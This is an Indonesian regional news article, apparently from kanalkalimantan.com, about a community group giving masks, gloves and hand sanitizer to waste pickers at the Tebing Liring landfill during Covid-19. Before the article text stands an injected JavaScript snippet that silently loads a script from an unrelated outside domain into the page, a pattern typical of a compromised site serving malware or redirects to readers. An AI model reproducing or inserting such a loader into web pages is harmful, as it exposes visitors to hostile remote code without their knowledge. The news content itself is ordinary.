(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kanal

Berpotensi Terpapar Covid-19, Pemilah Sampah di TPA Tebing Liring Dibekali APD

KANALKALIMANTAN.COM, AMUNTAI – Ketua Forum Komunitas (FKH) Rarawa Hulu Sungai Utara (HSU) Murtadha Muthahhari menilai para pemilah sampah di Tempat Pembuangan Akhir (TPA) Tebing Liring Kabupaten HSU berpotensi terpapar Covid-19, karenanya mereka juga perlu menggunakan Alat Pelindung Diri (APD).

Demikian diungkapkannya, setelah penyaluran bantuan APD berupa masker dan sarung tangan serta hand sanitizer kepada pemilah dan pengumpul, Senin (22/6/2020).

Selain itu, bantuan masker tersebut sebagai bentuk kepedulian FKH Rarawa HSU untuk para pemilah dan pengumpul sampah. Diserahkan setelah kegiatan Aksi Hijau Bersih Lingkungan di TPA Tebing Liring.

Karena rawan terpapar virus, pemberian masker, sarung tangan serta hand sanitizer ini agar para pemilah sampah terhindar dari paparan Covid-19.

“Semoga bantuan masker, sarung tangan serta hand sanitizer ini dapat menghindarkan para pemilah sampah di TPA Tebing Liring ini dari paparan Covid-19 yang terbawa dari sampah dari seluruh Kabupaten HSU,” kata Murtadha.

“Kita tidak mengetahui sampah itu dari mana datangnya, siapa yang membuangnya dan kita juga tidak tahu apakah yang membuang sampah ini terpapar Covid-19 atau tidak,” ujarnya.

Terpisah, Kepala UPT TPA Tebing Liring Ahmad Rusydani mengakui, para pengumpul sampah ini sangat beresiko terpapar covid-19 karena setiap hari melakukan pengumpulan dan pemilahan sampah dari kota Amuntai dan wilayah HSU lainnya.

Menurut Ahmad Rusydani, para pengumpul sampah yang berada di kawasan TPA Tabing Liring berjumlah 25 orang. Selama ini hanya menggunakan APD ala kadarnya dibandingkan dengan 10 petugas TPA yang selama ini sudah dibekali APD. Meski para pengumpul sampah atau barang bekas itu berkerja menghidupi keluarga masing-masing, namun selama ini mereka sendiri merupakan binaan dari pengelola TPA Tabing Liring.

Mahasiswa Poltekkes Kemenkes Semarang Prayoga Ridha Faizal, mengatakan hand sanitizer ini sangat dianjurkan dimiliki oleh masyarakat, karena hand sanitizer merupakan salah satu starter pack yang harus dibawa saat beraktifitas diluar rumah.

“Apalagi ketika kenormalan baru berlaku di Kabupaten Hulu Sungai Utara. Hand sanitizer mampu mencegah penyebaran Covid-19,” ujar mahasiswa Jurusan Magister Terapish Gigi dan Mulut ini. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie